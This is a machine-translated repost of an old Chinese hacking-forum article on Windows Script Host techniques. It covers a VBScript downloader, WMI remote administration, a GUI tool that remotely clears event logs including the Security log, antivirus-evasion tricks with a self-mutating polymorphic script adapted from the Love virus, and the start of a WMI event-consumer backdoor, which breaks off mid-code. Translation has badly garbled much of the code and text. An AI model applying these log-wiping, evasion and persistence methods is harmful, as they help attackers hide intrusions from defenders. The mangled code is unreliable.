(Reproduced) deep excavation of Windows script technology

xiaoxiao2021-03-06  65

In-depth excavation of Windows script technology is transferred from:

http://www.xfocus.net

Creation time: 2004-11-20

Article attribute: original

Article submission:

ZZZEVAZZZ (zZZEVAZZ_AT_SINA.com)

In-depth excavation of Windows script technology

-------------------------------------------------- -----

ZZZEVAZZZ

http://www.ph4nt0m.org

2004-11-18

-------------------------------------------------- -----

【table of Contents】

1 Introduction

2. Review WSH object

3, WMI service

4, the script also has Gui

5, anti-check

6, come to do a back door

7, conclusion

8, reference materials

[Foreword]

This article tells some knowledge and techniques for Windows scripting programming. The Windows script here refers to the "WSH Windows Script", not the scripts in the HTML or ASP. The former is explained by WScript or CScript, and the latter is interpreted by IE and IIS, respectively. The language described is VBScript. This article assumes that the reader has a certain foundation of Windows scripting programming. If you still don't understand this, please learn "Windows Script Technology" [1].

[Review WSH object]

Thanks to the support of COM technology, WSH can provide a stronger function batch (.bat). To put it bluntly, WSH is just calling ready-made "controls" as an object, with the object's properties and methods.

Common objects are:

WScript

The root object of the Windows Script host object model, you should use WSH Naturally inseparable. It provides multiple sub-objects such as WScript.Arguments and WScript.Shell. The former provides access to the entire command line parameter set, the latter can run the program, manipulate the registry content, create shortcuts or access the system folder.

Scripting.filesystemObject

Mainly for IIS design, access the file system. This is probably everyone encountered the most object, because almost all Windows script viruses must copy themselves infected with others.

Adodb.Stream

ActiveX Data Objects database sub-objects, providing a function of accessing files. This is part of a database, but thanks to Microsoft, ADO is self-contained.

Microsoft.xmlhttp

For the object designed to support XML, the network is accessed through the HTTP protocol. Often used for cross-station scripts to perform vulnerabilities and SQL INJECTION.

There are still many uncommon:

Active Directory Services Interface (ADSI)-related object-function involves a wide range, mainly for Windows domain management.

InternetExplorer Object - Doing various things that IE can do.

Word, Excel, Outlook object - to process Word documents, Excel forms, and messages.

WBEM object - WBEM is web-based Enterprise Management. It provides powerful functional support for managing Windows. The WMI service mentioned in the next section provides the interface of the object.

Obviously, WSH can be utilized far more than this. This article hangs a leaks, talk about some more practical objects and their usage.

First look at an example of supporting breakpoints to download web resources, it uses four common objects mentioned above.

IF (LCase (WScript.Fullname, 11)) = "wscript.exe") Then 'judgment the name of the script host' Die ("Script host must be cscript.exe.") 'script host is not CScript, so Die "

END IF

If wscript.arguments.count <1 TEN 'must have a parameter'

Die ("USAGE: CScript Webdl.vbs URL [filename]") 'The sparrow is small, usage can't forget'

END IF

URL = wscript.Arguments (0) 'parameter array subscript starts from 0'

IF url = "" "" URL CAN't Be Null. ") 'Dare me, empty URL can not

If wscript.Arguments.count> 1 Then 'first judging whether the number of parameters is greater than 1'

Filename = wscript.Arguments (1) 'Re-access the second parameter'

Else 'If no file name is given, you will get in the URL'

T = Instrrev (URL, "/") 'Get the last "/" location'

IF T = 0 or T = LEN (URL) THEN DIE ("Can Not get filename to save.") 'No "/" or "/" end'

FileName = Right (URL, LEN (URL) -t) 'gets the file name to be saved'

END IF

IF not Left (URL, 7) = "

http: // "THEN URL ="

Http: // "& url" If you carefully put "http: //" Forgot, add '

Set fso = wscript.createObject ("scripting.filesystemObject") 'FSO, ASO, HTTP three objects can not be less

SET ASO = WScript.createObject ("adodb.stream")

Set http = wscript.createObject ("Microsoft.xmlhttp")

If fso.fileexists (filename) THEN 'Judging whether the file you want to download already exist'

Start = fso.getfile (filename) .size 'exists, with the current file size as the start position' ELSE

START = 0 'does not exist, everything starts from scratch'

Fso.createtextFile (filename) .close 'New File'

END IF

Wscript.stdout.write "connectting ..." 'Good play just started'

Current = start 'The current position is starting location'

DO

Http.open "get", URL, TRUE 'here uses an asynchronous manner to call http'

Http.setRequestHeader "Range", "Bytes =" & Start & "-" & CSTR (START 20480) 'The mystery of the breakpoint is here'

Http.SetRequestHeader "Content-Type:", "Application / Oct-stream"

http.send 'constructs a packet to start sending'

For i = 1 to 120 'loop waiting "

if http.readystate = 3 Then Showplan () 'Status 3 Indicates to start receiving data, display progress'

if http.readystate = 4 the exit for 'State 4 indicates that the data is completed.'

WScript.sleep 500 'Waiting 500ms'

NEXT

if not http.readystate = 4 THEN DIE ("Timeout.") '1 minute has not finished 20K? time out! '

IF http.status> 299 Then Die ("Error:" & http.status & "& http.statustext) 'No, and wrong? '

IF not http.status = 206 The Die ("Server Not Support Partial Content.") 'The server does not support breakpoints'

ASO.TYPE = 1 'Data Flow Type Change Byte'

ASO.OPEN

Aso.LoadFromFile FileName 'Opens File'

aso.position = start 'Settings file pointer initial position' aso.write http.responsebody 'write data'

Aso.Savetofile FileName, 2 'overlay Saved

Aso.close

Range = http.getresponseheader ("Content-Range" 'Get "Content-Range" in the HTTP header

if Range = "" "Can not get range.") 'No, don't know if it is finished.'

Temp = MID (Range, INSTR (Range, ") 1) 'Content-Range is similar to 123-456 / 789'

Current = clng (Left (Temp, INSTR (Temp, "/") - 1)) '123 is the start position, 456 is the end position'

Total = ClNG (MID (Temp, INSTR (Temp, "/") 1)) '789 is the total number of files'

If TOTAL-CURRENT = 1 THEN EXIT DO 'End position is less than the total size 1 means the transfer is completed.'

START = Start 20480 'Otherwise download 20K'

Loop While True

WScript.echo Chr (13) & "Download (" & Total & ") DONE." 'Download, show the total number of bytes'

Function Die (MSG) 'function name from Perl built-in function DIE'

Wscript.echo msg 'Connecting Lifelings ^ _ ^'

Wscript.quit 'go to Marx'

END FUNCTION

Function showplan () 'Shows download progress'

IF i mod 3 = 0 THEN C = "/" 'Simple Dynamic Effect'

IF i mod 3 = 1 THEN C = "-"

IF i mod 3 = 2 THEN C = "/"

WScript.stdout.write chr (13) & "Download (" & Current & ")" & C & CHR (8) '13 ASCII code is back to the list, No. 8 is backlifers End Function

It can be seen that the function of the HTTP control is very powerful. By operation of the HTTP header, it is easy to achieve breakpoints. In the example, it is just a single thread, in fact, because the HTTP control supports asynchronous calls and events, you can also implement multi-threaded downloads. There is a detailed usage in MSDN. As for the details of the breakpoint, please see RFC2616.

FSO and ASO can access files, what is the difference? In fact, ASO does not except for access to byte (non-text) data, there is no need to exist. If you want to implement the ASO in the example with FSO, it will be wrong when you write http.responsebody. Violation, ASO cannot determine if the file is present. If the file does not exist, LoadFromFile is a chance to correct and do not correct. Of course, you can use the ON Error Resume next statement to let the script host ignore non-fatal errors, capture and process themselves. But there are ready-made fileexists () why not?

In addition, since FSO is often used by script viruses and ASP Trojans, the administrator may modify the information of the control in the registry to make the script unable to create FSO. In fact, an order regr32 / s scrrun.dll is restored. Even if Scrrun.dll is deleted, you will copy it in the past.

After the warming up, let's take a powerful object - WBEM (provided by WMI).

[WMI service]

First look at how the MSDN describes WMI -Windows Management Specification (WMI) is a scalable system management structure, which uses a unified, standard, scalable object-oriented interface. When I was just understanding WMI, I always thought that WMI is "Windows Management Interface" (Interface), huh, huh.

Look at what WMI service - provides a common interface and object model to access management information about operating systems, devices, applications, and services. If this service is terminated, most Windows-based software will not function properly. If this service is disabled, any service that relies on its service will not be able to start.

It seems to be a very important service. However, by default, there is no service to rely on it, but it is to rely on RPC and EventLog services. But it is often used. I set the WMI service to start and stop, using the computer for a while, I found that the WMI service was started again. It is necessary to start, which is the characteristic of the service set to "manual". When I know how much the management information provided by WMI is, I don't feel strange to the Self-starting of WMI services.

I want to understand the complexity of WMI, you can use Wmitows.exe [2]. This is a tool set. Use WMI Object Browser to see many WMI-provided objects, which are not complex. More importantly, WMI also provides dynamic information, such as current processes, services, users, etc.

WMI's logical structure is like this:

The first is WMI users, such as scripts (exactly script hosts) and other applications that use WMI interfaces. The WMI user accesses the CIM object manager Winmgmt (ie WMI service), the latter re-accesses the CIM (Public Information Model CommON Information Model) Repository. Static or dynamic information (objects of the object) is saved in the CIM library while still having an object. Some operations, such as starting a service, implementing the object. This is actually called various DLLs through COM technology. Finally, the request is completed by the API packaged in the DLL. WMI is an event-driven, operating system, service, application, device driver, etc. can be used as an event source, and event notifications are generated via COM interface. Winmgmt captures events and then refreshes dynamic information in the CIM library. This is why WMI services rely on EventLog.

After the concept, let's take a look at how to operate the WMI interface.

The code below is from the script RTCs I write. It is a script that remotely configures Telnet service.

There are only key parts here:

The first is to create an object and connect the server:

Set objlocator = creteObject ("wbemscripting.swbemlocator")

Set objswbemservices = objlocator.connectServer (iPaddress, "root / default", username, password)

The first sentence creates a service positioning object, and then the second sentence is connected to the server's ConnectServer method.

In addition to the IP address, user name, password, there is also a namespace parameter root / default.

Just like the registry has a root key, the CIM library is also classified. Use the object-oriented term to be described as "name space" (Name Space).

Since RTCs should process NTLM authentication methods and Telnet service ports, they need to access the registry. Operating the object of the registry in root / default.

Set objinstance = objswbemservices.get ("stdregprov") 'Instantiate the stdregProv object'

Set objmethod = objinstance.methods _ ("setdwordValue") 'setdwordValue method itself is also object'

Set objinparam = objmethod.inparameters.spawninstance_ () 'Instantiation Enter Parameter Object'

Objinparam.hdefkey = & h80000002 'root catalog is HKLM, code 80000002 (16)'

Objinparam.ssubKkeyName = "Software / Microsoft / Telnet Server / 1.0" Set Sub Key '

Objinparam.svaluename = "ntlm" set key value name '

Objinparam.uValue = ntlm 'Set key value content, NTLM is a variable, and the user input parameter decision'

Set objoutparam = objinstance.execmethod _ ("setdwordValue", objinparam) 'Execution method'

Then set the port

Objinparam.svaluename = "telnetport"

Objinparam.uValue = port 'port is also the parameter entered by the user' set objoutparam = Objinstance.execmethod _ ("setdwordValue", objinparam)

Seeing this here, do you think some heads? It is also a name space and is an instantiation of the class. I feel very uncomfortable when I just started learning WMI. I remember that my junior high school teacher said, reading must first read the book, and then read the book. It is because of the joining his own ideas, reading is because it is to grasp it.

Let's read books now. The code above can be changed:

Set olct = creteObject ("wbemscripting.swbemlocator")

SET OREG = Olct.connectServer (IP, "Root / Default", User, Pass) .get ("stdregprov")

HKLM = & h80000002

Out = Oreg.SetdWordValue (HKLM, "Software / Microsoft / TelnetServer / 1.0", "NTLM", NTLM)

OUT = Oreg.SetdWordValue (HKLM, "Software / Microsoft / TelnetServer / 1.0", "TelnetPort", Port)

Is it simple now?

Next, it is control over the Telnet service state.

Set objswbemservices = objlocator.connectServer (iPaddress, "Root / Cimv2", UserName, Password)

Set colinstances = objswbemservices.execQuery ("SELECT * WIN32_SERVICE WHERE NAME = 'TLNTSVR')

This connection is the root / cimv2 name space. Then use WQL (SQL for WMI) to search for TLNTSVR services. I know what I am doing when I am familiar with SQL syntax. This is a set of Win32_service instances, although the WHERE statement determines that the group always has only one member.

For simplicity, suppose as long as the service status is switched.

For Each Objinstance in Colinstances

If Objinstance.Started = True Then 'determines whether the service is started based on the started property

IntStatus = Objinstance.stopservice () is, calling StopService Stop Services'

Else

INTSTATUS = Objinstance.StartService () No, call startservice boot service '

END IF

NEXT

The key code is these, and the rest is the code that handles input and fault tolerance.

Summarize the process:

1. Connect the server and the appropriate namespace.

2. A or a set of instances of the required object with the GET or EXECQUERY method.

3, read and write the properties of the object, call the method of the object.

So, how do you know which name space to connect, what objects get? The Classification of the WMI Technical Guide [3] lists a large number of commonly used objects. Unfortunately, it has no corresponding e-book, you only go to the bookstore to find it. You can also use the WMITools for the WMI CIM Studio search function, it is easy to find the desired object. After finding an object, WMI CIM Studio lists its properties and methods, then find specific help in MSDN. Application examples, in addition to the 7 RS series scripts I wrote, there are also reference materials [4]. Specific description is that in response [4], the connection server and the namespace are similar to the following syntax:

Set objWMiservice = getObject ("WinMgmts: {ImpersonationLevel = Impersonate}! //" & strComputer & "/ root / cimv2: win32_process")

The detailed syntax is introduced in the "WMI Technical Guide" and MSDN, but we don't care about it, because this method does not have username and password parameters. Therefore, only if the current user can be used in the target system (including local). If ConnectServer is used locally, the first parameter can be 127.0.0.1 or a point ".", The 3rd, 4 parameters are empty strings "" ".

Finally, there is still a "privilege" issue for WMI. If you have seen the ROTS code, you will find two "strange" statements:

Objswbemservices.security_.privileges.add 23, True

Objswbemservices.security_.privileges.add 18, True

This is the application authority to the WMI service. 18 and 23 are all authority code. Some important codes are listed below:

5 Create an account in the domain

7 Manage audits and view, save and clean up security logs

9 loading and unloading equipment driver

10 record system time

11 Change the system time

18 locally shutdown

22 bypass

23 Allow remote shutdown

For more information, please also look at the "WMI Technical Guide" or MSDN.

All privileges are not available. When I wrote RCAS, because I forgot to apply for privileges 11, the result has been tested failure, and I only found the reason for a long time.

As long as there is permission to connect to the WMI service, you can always apply for privileges. This privilege mechanism is just to constrain the behavior of the application, and the system stability is enhanced. It is a bit strange that accessing the registry does not have to apply for any privilege. I really don't know what Microsoft's developers think it may be that the access registration is too common.

[Script also has Gui]

Although the system provides WScript and CScript two scripts, the script is responsible for the window environment and the script in the command line environment, but the user and script interaction in the window environment are less convenient: Parameter input can only establish shortcuts or pop-up InputBox conversation The box, only after the user "OK" can continue to run after the user "OK". There is no intuitive and fast advantage in the window environment. Fortunately, there is an InternetExplorer object, the script can provide a Web style GUI.

Or come to see an example, a script for clearing the system log, and review the WMI in the way:

SET IE = WScript.createObject ("InternetExplorer.Application", "Event_") 'Creating IE Objects'

IE.MenuBar = 0 'Cancel menu bar'

IE.addressbar = 0 'Cancel address bar' ie.toolbar = 0 'cancel toolbar'

IE.statusbar = 0 'Cancel Status Bar'

IE.Width = 400 'width 400'

IE.height = 400 'high 400'

IE.Resizable = 0 'does not allow users to change window size'

IE.NAVIGATE "about: blank" "Open Blank Page '

IE.LEFT = FIX (Ie.Document.ParentWindow.Screen.Availwidth-IE.Width / 2) 'Level Case

IE.TOP = FIX ((ie.document.parentwindow.screen.availheight-ie.height) / 2) 'vertical home

IE.visible = 1 'window visible'

WITH IE.Document 'The following is called Document.write method,'

.write " " 'Write a section of the HTML to the IE window. '

.write "

Remote clear system log

.write "

Target IP: " can also open one by NaviGate method

.write "

Username: " '"an HTML file, the effect is the same. '

.write "

password: "

.write "

Type:" "'Not only INPUT object, all DHTML support'

.write " application" object and its properties, the method can be used. '.write " system"

.write " security" 'Access these objects and web pages

.write "


" 'The object within the framework is similar. '

.write ""

.write ""

.write " "

End with

DIM WMI 'explicitly defines a global variable'

SET WND = IE.Document.parentWindow 'Sets WND for Window Object'

Set id = ie.document.all 'Sets the collection of all objects in Document'

ID.confirm.οnclick = getRef ("confirm") Set the handler when you click the "OK" button '

ID.cancel.οnclick = getRef ("Cancel") Set the handler when you click the "Cancel" button '

Do While True 'Supports events due to IE objects,

WScript.sleep 200 'scripts waits for a variety of events in an infinite loop. '

loop

Sub Event_ONQUIT 'IE Exit Event Processive

WScript.quit 'When Ie exits, the script exits'

End Sub

Sub Cancel '"Cancel" Event Processive

IE.quit 'Call the Quit method of IE, turn off IE window'

End sub 'then triggers Event_ONQUIT, so the script also exits the' Sub Confirm '"OK" event processing, this is the key'

WITH ID

if .ip.value = "" "IP.Value =" "The" empty IP value is default to the local operation '

If not (.app.checked or .s.checked or .sec.checked) Then 'app, etc. is Checkbox, by detecting its checked'

Wnd.alert ("" At least one log ") 'attribute is to determine if it is selected. '

EXIT SUB

END IF

Set Lct = CreateObject ("WbemScripting.swbemlocator") 'Creating Server Location Objects'

On Error ResMe next 'makes the script host ignore non-fatal errors'

SET WMI = LCT.CONNECTSERVER (.IP.Value, "root / cimv2",. user.value, .pass.value) 'Connect to root / cimv2 name space'

if Err.Number Ten 'to capture the wrong error and handle'

Wnd.alert ("Connecting WMI Server Failed") 'This is just a simple display "failed"'

Err.clear

ON Error Goto 0 'still lets script host to handle all errors'

EXIT SUB

END IF

if .app.checked The Clearlog "Application" 'Clears each selected log'

if .s.checked the Clearlog "SYSTEM"

If. Sec.checked the Clearlog "Security" 'Note, there is a restriction in XP, you can't clear the security log'

Wnd.alert ("Log has been cleared")

End with

End Sub

Sub Clearlog (Name)

WQL = "Select * from win32_nteventlogfile where logfilename = '" & name ""

Set logs = wmi.execQuery (wql) 'Note that members of logs are not every log,'

FOR Each L in logs' but specifies the file object of the log. 'if l.cleareventlog () THEN

Wnd.alert ("Clear Log" & Name & "fails!")

IE.quit

WScript.quit

END IF

NEXT

End Sub

Summarize the entire process. The first is to create an InternetExplorer.Application object. Its direct effect is to start an Iexplorer process, but the window is invisible until IE.visible = 1 is set. The HTML statement is then written to the IE window with the Document.Write method. For complex interfaces, the HTML code can be saved as an HTML file, open with IE.NAVIGATE (FileName). Finally, it is the input in the response window. This is basically a scope of knowledge of DHTML.

The most different from the general script programming is that IE is an event-driven. What you have to do is setting the corresponding event handler / process.

In this example, the script only cares about 3 events: IE exits, "OK" button is clicked, "Cancel" button is clicked.

Note that there is only two statements that set the event handling process in the example, and no IE exit event is associated with the Event_ONQUIT process. This is because here uses a feature - the second parameter "event_" when creating an IE object is a prefix, and the Event Process of the IE object is the prefixed event name. So the process of the ONQUIT event is due to Event_ONQUIT.

When the "OK" button is clicked, the confirm process is called. The example demonstrates how to access objects in IE, such as IE.Document.all.ip.Value is the input in the Target IP text box. If "Application" this checkbox, IE.Document.all.App.checked is true, otherwise false. To call the Alert method, use IE.Document.parentWindow.alert. The access methods of other IE objects are totally similar. Specifically, you can see DHTML related information.

With the web interface, interaction becomes rich and colorful. Everyone can give full play to creativity.

For example, many GUI tools (such as streaming) are started, there is a logo page, display copyright information. We can also simulate one with IE objects:

SET IE = WScript.createObject ("InternetExplorer.Application")

IE.FULLSCREEN = 1

IE.Width = 300

IE.height = 150

IE.NAVIGATE "About: blank"

IE.LEFT = FIX ((ie.document.parentwindow.screen.availwidth-ie.width) / 2)

IE.top = FIX ((ie.document.parentwindow.screen.availheight-ie.height) / 2)

ie.document.write "

" & _

"

This is a logo "

IE.visible = 1

WScript.sleep 5000

IE.quit

After the code is executed above, it will display an IE window that is connected to the screen and the border in the center of the screen for 5 seconds. The window is a black word of the blue bottom. This is a logo.

After the script GUI, the interaction with the user is more intuitive. Tools with many parameters like NMAP, when used locally, "Interface" that writes a graphical interface is eternal. The result of the output can also be processed with script to display, which is displayed in a way that can generate an HTML scan report like a tool such as stream light.

[Anti-check]

The first thing to say is that I have not tried to challenge the anti-virus software anti-virus capabilities. The Windows script is an explanatory language, a clear text saves code. Since there is no compilation process, the complexity of the code is far less than the executable program (EXE). Don't do anything else, there is no reason to count on the script. However, it is because the inspection of the script is very poor, so that the killing method used by anti-virus software is not advanced. So we organically multiply.

Let's take a look at the common anti-check method:

1, split / reorganization of strings or statements.

The most typical example is to use FSO = CreateObject ("scripting.filesystemobject")

Befso = CreateObject ("script" "ing.filesystem " mobject ")

The extension of this approach is to use the Execute statement:

Execute ("fso = creA" "teobject (" "SCR" "ipting.filesy " STEMOBJECT "") ")

2, the variable name automatically changes.

Randomize

Set of = createObject ("scripting.filesystemObject")

Vc = of.opentextfile (wscript.scriptfullname, 1) .readall

FS = Array ("of", "vc", "fs", "fsc")

For fsc = 0 to 3

Vc = Replace (VC, FS (FSC), CHR ((IND * 22) 65) & chr ((IND * 22) 65) & chr ((INT * 22) 65 )) & Chr ((INT * 22) 65))))))

NEXT

Of.opentextfile (Wscript.ScriptFullname, 2, 1) .writeline VC

The above code takes from the love virus. If you run, you know what is going on.

3, use the official tool - script encoder Screnc.exe [5] encrypted script.

The encrypted script can be directly explained by the script host. This is the best solution, but "guns and birds", because encryption is reversible, all anti-virus software has decoding function. Therefore, the effect of this approach is basically zero.

The first method is effectively telling us that this fact: the killing of the script virus is basically static. Moreover, I found that even if it is only changed, it can also play an anti-check (only a anti-virus software). The key to the reverse investigation is to reduce the signature.

For the anti-check killing of EXE, it is easier to think about "housing". This approach can also be applied on the script. such as:

Str = "cswpire.tohco" "" ""! k "

For i = 1 to Len (STR) STEP 3

Rev = Rev Strreverse (MID (STR, I, 3)) NEXT

Execute REV

A simplest "shell". The algorithm of "shell" is the order of reverse per n character. n is the "seed" of the algorithm. In this example it is equal to 3.

This "shell" is dead and does not reducing the effect of the signature. Instead, the signature is added, such as "CSWPire".

Look at a complex example:

Str = "WScript.echo" "OK!": rDomize: key = int (RND * 8 2): str = Rev: str = Replace (STR, CHR (34), CHR (34) CHR (34) : SET ASO = CreateObject ("AdoDb.Stream"): with aso: .open: .writetext "Str =" " CHR (34) STR CHR (34) " ": Key =" CSTR (Key) "": str = Rev: Execute str: function rev (): for i = 1 to len (str) Step key: Rev = Rev Strreverse (MID (Str, I, KEY): NEXT : End function "":. Savetofile wscript.scriptfullname, 2: end with ": key = 1: str = Rev: Execute str: function rev (): for i = 1 to Len (str) Step key: rev = REV Strreverse (MID (STR, I, Key): Next: End Function

(Note that this code is only one line, no carriage return)

Save as a VBS file, double-click execution, effect or the previous code, pop up a dialog box displays "OK!".

However, after the execution will look at the code, it may become like this:

Str = "tpircsw" "Ohce.ar:"" !koezimodnni=yek:8*dnr (TRTS :)2 ts:ver=alper=r ,rts (EC) 43 (RHC43 (RHC, 3 (RHc )" )) 4RC = OSA JBOETAEDA "" (Tcerts.bdow :) "" Maeosa HTI: nepo.: Tetirw.ts "" TXERHC "= RTS ) 43 (3 (RHC Rek:" ) 4TSC "= Y ) Yek (rr = rts: "" CEXE: VERTS ETUITCNUF: (Ver Noi ROF:) L OT 1 =) RTS (nek pets = Ver: Yerts VERESREVERTS (DIM (Yek, I, RTXEN :)) UF DNE: " "NOITCNTEVAS. :W Elifo.tpircsftPircSemanllu DNE: 2, HTIW": key = 7: str = Rev: Execute str: function rev (): for i = 1 to LEN (STR) Step key: Rev = Rev strreverse (MID (STR, I, KEY): Next: End Function

Execute and become other things. This script is self-deformed.

If you look at the code carefully, you will find that the algorithm of "shell" is still, while "seed" is randomly changed. However, the elongated content is different each time, "shell" itself still has no changes. Many EXE handle tools, it is used as malicious code to extract the character code. In order to better inspector, the "shell" of the script also needs to be dynamically changed. This is to use so-called polymorphism. However, EXE's polymorphism is used to counter-motion, and the "polymorphism" of the script is only payable, and the two are very different.

For EXE, the real polymorphism has not yet been heard. How much is the script that can only do.

Do not affect the modification of the function, in addition to the three mentioned above, as well as:

1, random change cases;

2, the colon (:) is randomly interchanged with the carriage return (except the colon after the character string and "THEN");

3, " " and "&" are randomly interchanged when string segmentation;

4, () - * / &, other characters to add spaces or complex (_) and enrollment combinations;

5, replace the built-in function with custom functions; even if the custom function is just a simple package built-in function, at least the keyword is changed.

..........

There are other "polymorphic" algorithms to be cared for.

The application of these algorithms is premised on a large increase in code length. If you want to write a relatively perfect "shell", I believe that I will involve the knowledge of "Grammar Analysis", because the script should "read" itself, thus achieving the effect similar to the Java obfuscator, this is very complicated, there is a chance to be again Everyone discussed. Below we applies "statement segmentation", "variable name automatic change", "random case", " and & interchange", look at the effect:

A001 = "WScript.echo" "OK!": A004 = CHR (34): Randomize: A005 = INT (RND * 24000 40960): A001 = A006 (A001): A000 = A005 MOD 10 2: A001 = Replace (A002, A004, A004 & A): SET A007 = CreateObject ("AdoDb.Stream"): A007.Open: A007.WriteText HEX (A005 1) & "=" "& A004 & A001 & A004 & A008 (": Execute " & A004 & A006 ("A000 =" "& A000 &": A001 = A002: Execute A001: Function A002 (): for A003 = 1 To LEN (A001) Step A000: A002 = A002 STREVERSE (MID (A001, A003, A000) : Next: End function "" "& A004): A007.Savetofile Wscript.scriptfullname, 2: Function A006 (A009): For A00A = 0 to 12: A009 = Replace (A009, HEX (& HA000 A00A), HEX (A005 A00A): Next: A006 = A009: END FUNCTION: Function A008 (A009): for A00A = 1 to LEN (A009): A00B = MID (A009, A00A, 1): IF INT (RND * 2-1) THEN A00B = UCase (A00B): END IF: IF A00A> 11 and INT (RND * 5) = 0 THEN A008 = A008 & A004 & CHR (38 INT * 2) * 5) & A004: END IF: A008 = A008 & A00B: NEXT : End function ": A000 = 1: A001 = A002: Execute A001: Function A002 (): for A003 = 1 To LEN (A001) Step A000: A002 = A002 STRREVERSE (MID (A001, A003, A000): Next : End function (Note, where there is no carriage return)

The above is "original", saved as a VBS file, double-click, or the pop-up dialog box displays "OK!". I look at the code is so similar (the effect is random):

B906 = "TPIRCSW" "OHCE.9B:" "! KO (RHC = 90nar:) 43: EzimodNi = A09B2 * DNR (T04 00049B:) 069B09B = 60:) 609B (9B = 509b DOM A09B: 2 01Lper = 6009B (ECA, 909B, 79B & 909Btes:) 90c = c09b Boetaera "" (Tcejts.bdod :) "" MaerPo.c09bc09b: NetTirw.xeh TXE1 A09B (B & "" = "" &) 09B & 909 & 909B & 6: "" (D09betucexe909B & "" "" (B09b && "= 509b:" "& 509b9b = 609bcexe: 709b etcnuf: 609b NOITOF:) (70 = 809b Rel OT 1) 609B (NB PETS 09B: 509 709B = 7everrtsdim (ESRB, 609B (09B, 809XEN) ) 5f DNE: TnOitcnu909b &) "" "" "" "Fotevascsw Elics.tpirluftPir2, Emanlitcnuf: B09B NO:) E09B (09b ROF OT 0 = Fe09B: 21Calper =, E09B (EBH & (XEH09B 509 (XEH,) F9B A09BEN :)) F0B09B: TXE: E09B = CNUF DNUF: NOIT NOITCN9B (D09Brof:) E01 = F09B Nel OT:) E09B (IM = 019b, E09B (D) 1, F09BTNI FI: -2 * DNR (NEHT) 1U = 019b 9b (esacdne:) 01 FI: FI 11> F09BNI DNA 5 * DNR (TEHT 0 =) = D09B N9B & D09B (RHC & 90 (TNI 83 *) 2 * DNR909B &) 5FI DNE: B = D09B: 19B & D09: TXEN: 0NUF DNENOITC " : Execute "B9" & "05 = 7" & ": b906" & "= b907: e" "xec" "ute b906" ": fun" & "ction b9" & "07 (): for" "B9" "08 = 1 to L" & "en (b906)" "Step B905: B907" & "= B907 " Strreverse ("&" B9 "&" 0 "&" 6, B908, B905 "&") " "): N " " EX " " T " ": End Fun "&" CTION "is not? Again:

F0CB = "rcsw.tpiohceko" "f:" "! = EC0 (RHC:) 43DNARZIMO0F: EI = FCR (TN2 * DN0004904 :) 06bc0fd0f = 0f (0:) bcac0fc0f = om F01 DF: 2 = Bc0Lper (ECACC0FC0F, 0F, EF & EC) EC0tes: D0F RC = 1Taeejbo "" (Tcdodats.bmaerf :) "" "" "" "" "" "" "=" "=" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" " (0 = AC00F & "" "" "CCUCEX ETBC0FNUF: OITC0F N) (Ccrof: C0F 1 = DL OTF (NE) BC0ETS 0F PF: AC = CC0CC0FRTS EVER (ESR (DIMBC0FC0F, 0F, D)) Acxen: Ne: tuf ditcn "" NOC0F & f:) E.1D0EVASIFTW ELIRCSS.TPPIRCLUFTW ELIRCSS.TPPIRCLUFTMANL: 2, ECNUFNOITD0F 0F (0:) 3D ROF4D0FT 0 = 21 OD0F: ER = 3Calp0f (EH, 3D & (XEC0FH0F A,) 4D (XEHFC0FD0F :)) 4TXEND0F: 0F = 0e: 3DF DNTCNU: Noichufnoitd0f 0f (2:) 3D ROF4D0FT 1 = EL O0F (N:) 3D5D0FDIM = D0F (0F, 31, 4DFI:) TNI DNR (1-2 * HT) f NE = 5d0 SACU0F (E:) 5D DNEI: FI0F F1> 4DNA 1Ni DNR (T) 5 * DT 0 = Neh2D0FD0F = 0F & 2C & EC3 (RHNI 8nR (T) 2 * D &) 5 * Ec0fdne :: Fi 2D0FD0F = 0F & 2N: 5D: TXE DNECNUFNOIT ": Execute" f " " 0ca "&" = 4: f0cb " " = " " f0cc: EX " " "CUTE F0CB" & ": f" "UNC" "Tion F0cc (): F " " OR " " F0 "&" CD = 1 to Len (F0CB) Step F0CA: F0CC = F0CC STRR " " Ever " " SE "&" (MID (" " F0CB, " " F0CD, F0CA): N Is this enough? --do not know. Perhaps the anti-virus engine is ignored by ignore the case. It can be automatically connected to the string.

Is this "shell" practical? --No. Because the algorithm of "shell" is too simple. "Seed" A000 = A005 MOD 10 2, so if the automatic change variable name is not considered, only 10 of the shells have only 10 kinds of code. How to improve this "shell"? - Of course, more complex algorithms, more "polymorphism".

If you are interested, you can look at the "original" script code (replace the colon as a carriage return, readability is better), then strengthen it.

Of course, you can also stove, free to show your creativity.

[To do a back door]

Before discussing the script, you need to introduce a very useful WMI object. In fact, this is the key to this section. The script back door is just an application.

As mentioned earlier, WMI is an event-driven. The entire event handling mechanism is divided into four parts:

1. Event producers: Responsible for events. WMI contains a lot of event producers. Specific event producers in performance counters, also have universal event producers such as category, creating, modification, deletion, and other universal events.

2, Event Filter: The system generates a large number of events all times, and scripts can capture the events of interest by custom filters.

3. Event Consumers: Responsible for handling events. It can be an executable program, a dynamic link library (DLL, loaded by WMI) or script.

4, Event Binding: By binding the filter and consumer, clear what consumers are responsible for processing.

Event consumers can be divided into temporary and permanent. Temporary event consumers only care about specific events during their operations. Permanent consumers as an instance of the class registration in the WMI name space, which has always been valid until it is canceled. Obviously, permanent event consumers are more practical. Or come to see an example:

Nslink = "WinMgmts: //./root/cimv2:" 'only needs local connection, so use this grammar, no Swbemlocator object'

SET ASEC = getObject (NSLink & "ActivescripteVentConSumer). SpawnInstance_ 'creates" Activity Script Event Consumers "

Asec.name = "stopped_spooler_restart_consumer" "Defines the name of the consumer '"

Asec.scriptingenngine = "vbscript" "Defines the scripting language (only VBScript) '

Asec.scripttext = "getObject (" WinMgmts: win32_service = 'spooler' ")" ")" "") "" ")

SET ASECPATH = ASEC.PUT_ 'Registered consumers, return to their link'

Set evtflt = getObject (nslink & "__ eventfilter). SpawnInstance_ 'Create event filter'

EvTflt.name = "stopped_spooler_filter" Defines the name of the filter '

Qstr = "Select * from __instancemodificationEvent with" 'Every 5 second query "instance modification event"' qstr = QSTR & "Where targetinstance isa" "Win32_service" "and" "" Win32_service "

Qstr = QStr & "TargetInstance.name =" "Spooler" "" "The instance name is spooler"

QStr = QStr & "AND targetinstance.state =" "Stopped" "" The state attribute of the instance is stopped '

evtflt.query = qstr 'Defines Query Statements'

